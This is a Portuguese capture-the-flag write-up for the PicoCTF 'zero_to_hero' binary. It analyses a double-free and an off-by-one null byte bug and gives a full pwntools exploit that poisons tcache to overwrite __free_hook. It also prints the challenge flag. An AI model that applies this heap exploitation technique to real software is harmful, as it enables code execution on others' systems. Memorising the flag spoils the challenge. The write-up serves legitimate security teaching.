zero_to_hero
Descrição do Desafio:
Autor: Claude Plataforma: PicoCTF Categoria: Binary Exploitation Dificuldade: Difícil Data: 2019 Descrição:
Now you're really cooking. Can you pwn this service?
Passo a Passo da Solução
1. Análise do arquivo fornecido
O binário fornecido vem com as seguintes proteções: Full RELRO, Canary, e NX. Com isso já podemos descartar a opção de reescrever a tabela .GOT do binário.
Analisando pelo Ghidra, vemos que as funções não vem bem definidas, mas com um pouco de análise já é possível achar a função de entrada e as outras principais. Olhando a função principal, já identificamos uma dica, que é o vazamento do endereço da system.
void main(void)
{
ssize_t sVar1;
long in_FS_OFFSET;
int local_2c;
char local_28 [24];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
puts("From Zero to Hero");
puts("So, you want to be a hero?");
sVar1 = read(0,local_28,20);
local_28[sVar1] = '\0';
if (local_28[0] != 'y') {
puts("No? Then why are you even here?");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Really? Being a hero is hard.");
puts("Fine. I see I can\'t convince you otherwise.");
printf("It\'s dangerous to go alone. Take this: %p\n",system); <-- Endereço da system vazando.
while( true ) {
while( true ) {
menu();
printf("> ");
local_2c = 0;
__isoc99_scanf(&%d,&local_2c);
getchar();
if (local_2c != 2) break;
removePower();
}
if (local_2c == 3) break;
if (local_2c != 1) goto LAB_00400dce;
addPower();
}
puts("Giving up?");
LAB_00400dce:
/* WARNING: Subroutine does not return */
exit(0);
}Tirando a função menu(), temos outras duas funções principais, a addPower() e a removePower().
void removePower(void)
{
long in_FS_OFFSET;
uint indexPower;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
indexPower = 0;
puts("Which power would you like to remove?");
printf("> ");
__isoc99_scanf(&%u,&indexPower);
getchar();
if (6 < indexPower) {
puts("Invalid index!");
/* WARNING: Subroutine does not return */
exit(-1);
}
/* Vulnerabilidade, este endereço não é anulado no powers */
free(*(void **)(&powers + (ulong)indexPower * 8));
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void addPower(void)
{
void *power;
ssize_t sVar1;
long in_FS_OFFSET;
uint tamPower;
int nPowers;
long local_20;
long powerAddr;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
tamPower = 0;
nPowers = findNumPowers();
if (nPowers < 0) {
puts("You have too many powers!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Describe your new power.");
puts("What is the length of your description?");
printf("> ");
__isoc99_scanf(&%u,&tamPower);
getchar();
if (1032 < tamPower) {
puts("Power too strong!");
/* WARNING: Subroutine does not return */
exit(-1);
}
power = malloc((ulong)tamPower);
*(void **)(&powers + (long)nPowers * 8) = power;
puts("Enter your description: ");
printf("> ");
powerAddr = *(long *)(&powers + (long)nPowers * 8);
sVar1 = read(0,*(void **)(&powers + (long)nPowers * 8),(ulong)tamPower);
*(undefined *)(sVar1 + powerAddr) = 0;
puts("Done!");
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}Olhando para elas podemos assumir algumas coisas:
removePower: aqui verificamos que podemos ter 7 super poderes ao mesmo tempo, podemos ver que os poderes (na verdade o endereço do chunk deles) é armazenado em uma variável global que eu renomeei comopowers, e o mais importante, temos uma vulnerabilidade em que após liberarmos o chunk, com a funçãofree(), o endereço na variávelpowersnão é anulado, fazendo com que seja possível realizar umdouble-free.addPower: aqui verificamos que podemos digitar o tamanho do super poder (chunk), sendo o máximo 1032 (importante), e podemos escrever nesse tamanho. E aí está outra vulnerabilidade, quando escrevemos uma string, o final dela sempre deve ser um byte nulo\0, e no código nós podemos escrever exatamente a quantidade que pedimos, e em seguida o\0é colocado. Então, se escrevermos no tamanho total, o byte nulo é colocado em uma região que não é da string.
2. Exploit
Pelo o que foi analisado, já podemos ter uma ideia que o exploit deve ser algo relacionado a HEAP, então o mais importante é saber em qual versão da libc nós estamos. No caso, ela já vem junto com o binário, e é a versão 2.29.
Resumindo essa versão, a tcachebin já foi implementada, e já contém suas verificações de segurança contra double-free. Aqui já podemos assumir algumas coisas:
Não podemos realizar
double-freena mesma bin datcache.Não podemos utilizar a
fastbinpois só podemos ter 7 poderes.
Então como vamos realizar o exploit? Analisando um pouco, é possível chegar na conclusão que podemos fazer um chunk ter 2 tamanhos ao mesmo tempo, como?
Bom, foi visto que podemos escrever o tamanho total do chunk, e com isso o \0 é colocado no próximo chunk, alterando o campo size dele. Mas temos que ficar atentos a algumas coisas:
O chunk que será escrito totalmente deve ser do tamanho máximo, 1032, pois dessa forma a
malloc()não irá realizar o alinhamento (aumentar o tamanho para os metadados).O segundo chunk deve ter tamanho acima de
0x200e abaixo de0x300, pois quando ele for envenenado, o seu tamanho passará a ser0x200, que será devolvido pelamalloc()quando for requisitado um chunk com tamanho menor do que 512 (não tão menor).É necessário alocar o primeiro chunk, depois alocar o segundo, e só após isso começar a realizar os
free(), para garantir que eles estarão em sequência na memória.
Com isso conseguimos realizar um double-free, forçando o chunk ter 2 tamanhos diferentes, e também conseguimos manipular o fd (ponteiro para o próximo chunk na bin). Mas como vamos conseguir chegar na função win()?
É aí que entra uma carta na manga, os ponteiros __free_hook e __malloc_hook da libc. Esses ponteiros são usados nas suas respectivas funções, com a função de garantir a execução de uma outra função específica, dessa forma, se alterarmos eles (apenas 1), podemos alterar o fluxo de execução para alguma função win(). Isso só será possível, pois há um vazamento da system no início, permitindo quebrar a proteção ASLR.
3. Solução
Primeiramente alocamos os dois chunks, um de 1032 e outro de 510, e liberamos eles, após isso alocamos novamente o de 1032, preenchendo ele totalmente. Agora, nosso segundo chunk está com outro tamanho em seus metadados, 0x200, então liberamos ele novamente.
Por fim, alocamos o segundo chunk novamente (510) e colocamos como valor o __free_hook, e se tudo deu certo a tcache estará assim:
tcache(1032): vazia
tcache(510): vazia
tcahe(500): chunk_envenenado(0x200) -> __free_hookE pronto, estamos com a faca e o queijo na mão, basta apenas alocar o chunk_envenenado, e alocar o __free_hook passando como valor o endereço da win(). Agora quando chamarmos a função free(), iremos para a função win() e a flag será popada.
3. Solução com Python
#O código possui duas vulnerabilidades, a primeira é que os ponteiros não anulados após o free, e a segunda é que podemos escrever exatamente a quantidade informada, e o programa em seguida vai colocar um byte nulo em um espaço fora do chunk.
#A ideia então é fazer com que o programa altere o campo size de um chunk alocado permitindo nós liberarmos ele duas vezes como se tivesse dois tamanhos.
# ------- Representação -------- #
# Antes do null byte
# [chunk1]: 0x0000000000000000 0x0000000000000071
# 0x0000000000000000 0x0000000000000000
# 0x0000000000000000 0x0000000000000000
# 0x0000000000000000 0x0000000000000000
# 0x0000000000000000 0x0000000000000000
# 0x0000000000000000 0x0000000000000000
# 0x0000000000000000 0x0000000000000000
# [chunk2]: 0x0000000000000000 0x0000000000000111
# Após o null byte
# [chunk1]: 0x0000000000000000 0x0000000000000071
# 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef
# 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef
# 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef
# 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef
# 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef
# 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef
# [chunk2]: 0xdeadbeefdeadbeef 0x0000000000000100 <- O taldo Poison NULL Byte
#A ideia é reescrever um dos ponteiros, __free_hook ou __malloc_hook (ponteiros chamados nas respectivas funções).
#IMPORTANTE: o primeiro chunk tem que ser de tamanho 1032, por que? Porque esse é o tamanho máximo permitido para se colocar na Tcache (e pelo programa), aí com isso a malloc não irá fazer ajuste no tamanho (para alinhamento), e portanto podemos escrever nos 1032 bytes alocados. Outro ponto, o segundo chunk pode ser de qualquer valor acima de 500 (não é totalmente qualquer valor), a ideia é o alinhamento ajustar o tamanho do chunk para 0x2.., e com o NULL Byte o valor ficar 0x200 e isso é alocado passando como valor um número menor que 512 (não é qualquer um menor).
from pwn import *
elf = context.binary = ELF("./zero_to_hero")
libc = elf.libc
win = 0x00400a02
p = remote(ip, porta) #Troque pelos valores fornecidos
def create(tam, string):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", str(tam))
p.sendlineafter(b"> ", string)
def delete(idx):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"> ", idx)
#Pegando o vazamento da libc.
p.sendlineafter(b"hero?", b"y")
p.recvuntil(b"Take this: ")
system = int(p.recvline()[:-1],16)
libc.address = system - libc.sym["system"]
#Criando os dois junks adjacentes e liberando eles.
create("1032", b"A" * 1032)
create("510", "Vou ser envenenado")
delete("0")
delete("1")
#Pegando o chunk de cima e preenchendo ele com o valor total, para que o tamanho do próximo seja envenenado com o NULL Byte.
create("1032", b"A" * 1032)
#VULNERABILIDADE, liberando o mesmo chunk novamente.
delete("1")
#Pegando o chunk e reescrevendo o fd dele com o endereço. do __free_hook.
create("510", p64(libc.sym["__free_hook"]))
#Agora nossa Tcache tem o lixo e em seguida o __free_hook. Retirando o lixo.
create("500", "Lixo")
#Pegando o __free_hook e escrevendo nele o endereço da win.
create("500", p64(win))
#Chamando a free novamente, pois agora iremos para a win.
delete("0")
#FLAG.
print(p.recvline().decode())Flag
picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_qiviwkbl}
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